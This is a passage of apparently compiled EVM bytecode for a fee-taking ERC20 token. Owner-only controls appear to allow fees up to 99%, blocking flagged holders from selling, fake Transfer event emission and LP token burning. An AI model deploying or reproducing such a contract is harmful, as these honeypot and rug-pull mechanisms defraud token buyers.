c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b60125481565b60215481565b60205481565b61125b612a54565b633b9aca006103e8600161126d611169565b61127791906148bc565b6112819190614945565b61128b9190614945565b8110156112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906149e8565b60405180910390fd5b633b9aca00816112dd91906148bc565b600c8190555050565b60006112f3848484612ad2565b6113b4846112ff612881565b6113af85604051806060016040528060288152602001615a7260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611365612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b600190509392505050565b6113c7612a54565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a43905307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611473573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114979190614a1d565b6040518363ffffffff1660e01b81526004016114b4929190614a4a565b602060405180830381865afa1580156114d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f59190614a1d565b905060005b848490508110156115a45784848281811061151857611517614a73565b5b905060200201602081019061152d919061439a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115899190614450565b60405180910390a3808061159c90614aa2565b9150506114fa565b5050505050565b61dead81565b60145481565b601360009054906101000a900460ff1681565b60006009905090565b6000602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611631612a54565b60005b838390508110156116d057816017600086868581811061165757611656614a73565b5b905060200201602081019061166c919061439a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806116c890614aa2565b915050611634565b50505050565b601660009054906101000a900460ff1681565b60006117926116f6612881565b8461178d8560036000611707612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282390919063ffffffff16565b612889565b6001905092915050565b6117a4612a54565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b601660029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611878612a54565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61193e612a54565b610258831015611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a90614b5d565b60405180910390fd5b6103e88211158015611996575060008210155b6119d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cc90614bef565b60405180910390fd5b826014819055508160128190555080601360006101000a81548160ff021916908315150217905550505050565b6000611a0c612a54565b6000601660006101000a81548160ff0219169083151502179055506001905090565b611a36612a54565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b611ac5612a54565b8260198190555081601a8190555080601b81905550601b54601a54601954611aed9190614c0f565b611af79190614c0f565b60188190555060196018541115611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3a90614cb1565b60405180910390fd5b505050565b611b50612a54565b6001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff02191690831515021790555042601581905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b611c12612a54565b80601660026101000a81548160ff02191690831515021790555050565b606060078054611c3e9061485b565b80601f0160208091040260200160405190810160405280929190818152602001828054611c6a9061485b565b8015611cb75780601f10611c8c57610100808354040283529160200191611cb7565b820191906000526020600020905b815481529060010190602001808311611c9a57829003601f168201915b5050505050905090565b601b5481565b611ccf612a54565b611cd9828261365d565b5050565b60115481565b60225481565b601f5481565b611cf7612a54565b611d018282611ef1565b5050565b6000611dc8611d12612881565b84611dc385604051806060016040528060258152602001615a9a6025913960036000611d3c612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b6001905092915050565b60155481565b6000611dec611de5612881565b8484612ad2565b6001905092915050565b611dfe612a54565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60276020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ef9612a54565b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601660019054906101000a900460ff1681565b611ff0612a54565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161208d919061437f565b60405180910390a25050565b6120a1612a54565b82601d8190555081601e8190555080601f81905550601f54601e54601d546120c99190614c0f565b6120d39190614c0f565b601c819055506063601c54111561211f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211690614d1d565b60405180910390fd5b505050565b61212c612a54565b633b9aca006103e8600561213e611169565b61214891906148bc565b6121529190614945565b61215c9190614945565b81101561219e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219590614daf565b60405180910390fd5b633b9aca00816121ae91906148bc565b600b8190555050565b6121bf612a54565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061222d600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611a2e565b50565b602460009054906101000a900460ff1681565b600c5481565b6000612253612a54565b620186a06001612261611169565b61226b91906148bc565b6122759190614945565b8210156122b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ae90614e41565b60405180910390fd5b6103e8600a6122c4611169565b6122ce91906148bc565b6122d89190614945565b82111561231a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231190614ed3565b60405180910390fd5b81600d8190555060019050919050565b60185481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061241d612a54565b6000602460006101000a81548160ff0219169083151502179055506001905090565b601a5481565b61244d612a54565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156124bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b490614f65565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e5481565b600b5481565b6000612590612a54565b6010546011546125a09190614c0f565b42116125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890614fd1565b60405180910390fd5b6103e8821115612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d90615063565b60405180910390fd5b4260118190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161268a91906145bf565b602060405180830381865afa1580156126a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126cb9190615098565b905060006126f66127106126e8868561382990919063ffffffff16565b6138a490919063ffffffff16565b9050600081111561273157612730600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836138ee565b5b600060276000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156127ff57600080fd5b505af1158015612813573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846128329190614c0f565b905083811015612877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286e90615111565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f0906151a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296090615235565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a479190614450565b60405180910390a3505050565b612a5c612881565b73ffffffffffffffffffffffffffffffffffffffff16612a7a613b87565b73ffffffffffffffffffffffffffffffffffffffff1614612ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac7906152a1565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3990615333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba9906153c5565b60405180910390fd5b6000811415612bcc57612bc7838360006138ee565b6135f4565b601660009054906101000a900460ff16156131e35761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612c525750612c22611bb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c8b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cca5750612c9a611bb5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612ce35750600a60149054906101000a900460ff16155b156131e257601660019054906101000a900460ff16612ddd57602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d9d5750602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd390615431565b60405180910390fd5b5b602460009054906101000a900460ff1615612fa757612dfa611bb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612e8157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612edb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612fa65743602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f58906154e9565b60405180910390fd5b43602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309a57600c5481111561303d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130349061557b565b60405180910390fd5b600b5461304983611827565b826130549190614c0f565b1115613095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161308c906155e7565b60405180910390fd5b6131e1565b602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661313557600c54811115613130576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312790615679565b60405180910390fd5b6131e0565b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131df57600b5461319283611827565b8261319d9190614c0f565b11156131de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d5906155e7565b60405180910390fd5b5b5b5b5b5b60006131ee30611827565b90506000600d5482101590508080156132135750601660029054906101000a900460ff165b801561322c5750600a60149054906101000a900460ff16155b80156132825750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132d85750602560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561331c576001600a60146101000a81548160ff021916908315150217905550613300613b9b565b6000600a60146101000a81548160ff0219169083151502179055505b600a60149054906101000a900460ff161580156133455750601360009054906101000a900460ff165b156133555761335385613d23565b505b6000600a60149054906101000a900460ff16159050602560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061340b5750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561341557600090505b600081156135e4576000601c5411156134f0576134506064613442601c548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601c54601e548261346391906148bc565b61346d9190614945565b6021600082825461347e9190614c0f565b92505081905550601c54601f548261349691906148bc565b6134a09190614945565b602260008282546134b19190614c0f565b92505081905550601c54601d54826134c991906148bc565b6134d39190614945565b602060008282546134e49190614c0f565b925050819055506135c0565b600060185411156135bf5761352360646135156018548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601854601a548261353691906148bc565b6135409190614945565b602160008282546135519190614c0f565b92505081905550601854601b548261356991906148bc565b6135739190614945565b602260008282546135849190614c0f565b925050819055506018546019548261359c91906148bc565b6135a69190614945565b602060008282546135b79190614c0f565b925050819055505b5b60008111156135d5576135d48730836138ee565b5b80856135e19190615699565b94505b6135ef8787876138ee565b505050505b505050565b6000838311158290613641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136389190614264565b60405180910390fd5b50600083856136509190615699565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156136cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136c49061573f565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374b906157d1565b60405180910390fd5b816004546137629190615699565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546137b79190615699565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161381c9190614450565b60405180910390a3505050565b60008083141561383c576000905061389e565b6000828461384a91906148bc565b90508284826138599190614945565b14613899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161389090615863565b60405180910390fd5b809150505b92915050565b60006138e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613de1565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561395e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161395590615333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156139ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139c5906153c5565b60405180910390fd5b6139d9838383613e44565b613a4581604051806060016040528060268152602001615a4c60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ada81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613b7a9190614450565b60405180910390a3505050565b600080613b92613e49565b90508091505090565b6000613ba630611827565b90506000602254602054602154613bbd9190614c0f565b613bc79190614c0f565b9050600080831480613bd95750600082145b15613be657505050613d21565b6014600d54613bf591906148bc565b831115613c0e576014600d54613c0b91906148bc565b92505b600060028360215486613c2191906148bc565b613c2b9190614945565b613c359190614945565b90506000613c4c8286613eed90919063ffffffff16565b90506000479050613c5c82613f37565b6000613c718247613eed90919063ffffffff16565b9050600060218190555060006020819055506000602281905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613cd1906158b4565b60006040518083038185875af1925050503d8060008114613d0e576040519150601f19603f3d011682016040523d82523d6000602084013e613d13565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613d5f91906145bf565b602060405180830381865afa158015613d7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613da09190615098565b90506000613db96012548361282390919063ffffffff16565b9050613dc484614174565b613dd65760008114613dd557600080fd5b5b600192505050919050565b60008083118290613e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613e1f9190614264565b60405180910390fd5b5060008385613e379190614945565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613ec45760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613ee8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613f2f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506135f9565b905092915050565b6000600267ffffffffffffffff811115613f5457613f536158c9565b5b604051908082528060200260200182016040528015613f825781602001602082028036833780820191505090505b5090503081600081518110613f9a57613f99614a73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561403f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140639190614a1d565b8160018151811061407757614076614a73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506140dc307f000000000000000000000000000000000000000000000000000000000000000084612889565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161413e9594939291906159f1565b600060405180830381600087803b15801561415857600080fd5b505af115801561416c573d6000803e3d6000fd5b505050505050565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156142055780820151818401526020810190506141ea565b83811115614214576000848401525b50505050565b6000601f19601f8301169050919050565b6000614236826141cb565b61424081856141d6565b93506142508185602086016141e7565b6142598161421a565b840191505092915050565b6000602082019050818103600083015261427e818461422b565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006142bb82614290565b9050919050565b6142cb816142b0565b81146142d657600080fd5b50565b6000813590506142e8816142c2565b92915050565b6000819050919050565b614301816142ee565b811461430c57600080fd5b50565b60008135905061431e816142f8565b92915050565b6000806040838503121561433b5761433a614286565b5b6000614349858286016142d9565b925050602061435a8582860161430f565b9150509250929050565b60008115159050919050565b61437981614364565b82525050565b60006020820190506143946000830184614370565b92915050565b6000602082840312156143b0576143af614286565b5b60006143be848285016142d9565b91505092915050565b6000819050919050565b60006143ec6143e76143e284614290565b6143c7565b614290565b9050919050565b60006143fe826143d1565b9050919050565b6000614410826143f3565b9050919050565b61442081614405565b82525050565b600060208201905061443b6000830184614417565b92915050565b61444a816142ee565b82525050565b60006020820190506144656000830184614441565b92915050565b60006020828403121561448157614480614286565b5b600061448f8482850161430f565b91505092915050565b6000806000606084860312156144b1576144b0614286565b5b60006144bf868287016142d9565b93505060206144d0868287016142d9565b92505060406144e18682870161430f565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126145105761450f6144eb565b5b8235905067ffffffffffffffff81111561452d5761452c6144f0565b5b602083019150836020820283011115614549576145486144f5565b5b9250929050565b60008060006040848603121561456957614568614286565b5b600084013567ffffffffffffffff8111156145875761458661428b565b5b614593868287016144fa565b935093505060206145a68682870161430f565b9150509250925092565b6145b9816142b0565b82525050565b60006020820190506145d460008301846145b0565b92915050565b600060ff82169050919050565b6145f0816145da565b82525050565b600060208201905061460b60008301846145e7565b92915050565b61461a81614364565b811461462557600080fd5b50565b60008135905061463781614611565b92915050565b60008060006040848603121561465657614655614286565b5b600084013567ffffffffffffffff8111156146745761467361428b565b5b614680868287016144fa565b9350935050602061469386828701614628565b9150509250925092565b6000806000606084860312156146b6576146b5614286565b5b60006146c48682870161430f565b93505060206146d58682870161430f565b92505060406146e686828701614628565b9150509250925092565b6000806040838503121561470757614706614286565b5b6000614715858286016142d9565b925050602061472685828601614628565b9150509250929050565b60008060006060848603121561474957614748614286565b5b60006147578682870161430f565b93505060206147688682870161430f565b92505060406147798682870161430f565b9150509250925092565b600061478e826143f3565b9050919050565b61479e81614783565b82525050565b60006020820190506147b96000830184614795565b92915050565b6000602082840312156147d5576147d4614286565b5b60006147e384828501614628565b91505092915050565b6000806040838503121561480357614802614286565b5b6000614811858286016142d9565b9250506020614822858286016142d9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061487357607f821691505b602082108114156148875761488661482c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006148c7826142ee565b91506148d2836142ee565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561490b5761490a61488d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614950826142ee565b915061495b836142ee565b92508261496b5761496a614916565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006149d2602f836141d6565b91506149dd82614976565b604082019050919050565b60006020820190508181036000830152614a01816149c5565b9050919050565b600081519050614a17816142c2565b92915050565b600060208284031215614a3357614a32614286565b5b6000614a4184828501614a08565b91505092915050565b6000604082019050614a5f60008301856145b0565b614a6c60208301846145b0565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000614aad826142ee565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614ae057614adf61488d565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614b476033836141d6565b9150614b5282614aeb565b604082019050919050565b60006020820190508181036000830152614b7681614b3a565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614bd96030836141d6565b9150614be482614b7d565b604082019050919050565b60006020820190508181036000830152614c0881614bcc565b9050919050565b6000614c1a826142ee565b9150614c25836142ee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614c5a57614c5961488d565b5b828201905092915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614c9b601d836141d6565b9150614ca682614c65565b602082019050919050565b60006020820190508181036000830152614cca81614c8e565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614d07601d836141d6565b9150614d1282614cd1565b602082019050919050565b60006020820190508181036000830152614d3681614cfa565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614d996024836141d6565b9150614da482614d3d565b604082019050919050565b60006020820190508181036000830152614dc881614d8c565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614e2b6035836141d6565b9150614e3682614dcf565b604082019050919050565b60006020820190508181036000830152614e5a81614e1e565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614ebd6032836141d6565b9150614ec882614e61565b604082019050919050565b60006020820190508181036000830152614eec81614eb0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614f4f6026836141d6565b9150614f5a82614ef3565b604082019050919050565b60006020820190508181036000830152614f7e81614f42565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614fbb6020836141d6565b9150614fc682614f85565b602082019050919050565b60006020820190508181036000830152614fea81614fae565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b600061504d602a836141d6565b915061505882614ff1565b604082019050919050565b6000602082019050818103600083015261507c81615040565b9050919050565b600081519050615092816142f8565b92915050565b6000602082840312156150ae576150ad614286565b5b60006150bc84828501615083565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006150fb601b836141d6565b9150615106826150c5565b602082019050919050565b6000602082019050818103600083015261512a816150ee565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061518d6024836141d6565b915061519882615131565b604082019050919050565b600060208201905081810360008301526151bc81615180565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061521f6022836141d6565b915061522a826151c3565b604082019050919050565b6000602082019050818103600083015261524e81615212565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061528b6020836141d6565b915061529682615255565b602082019050919050565b600060208201905081810360008301526152ba8161527e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061531d6025836141d6565b9150615328826152c1565b604082019050919050565b6000602082019050818103600083015261534c81615310565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000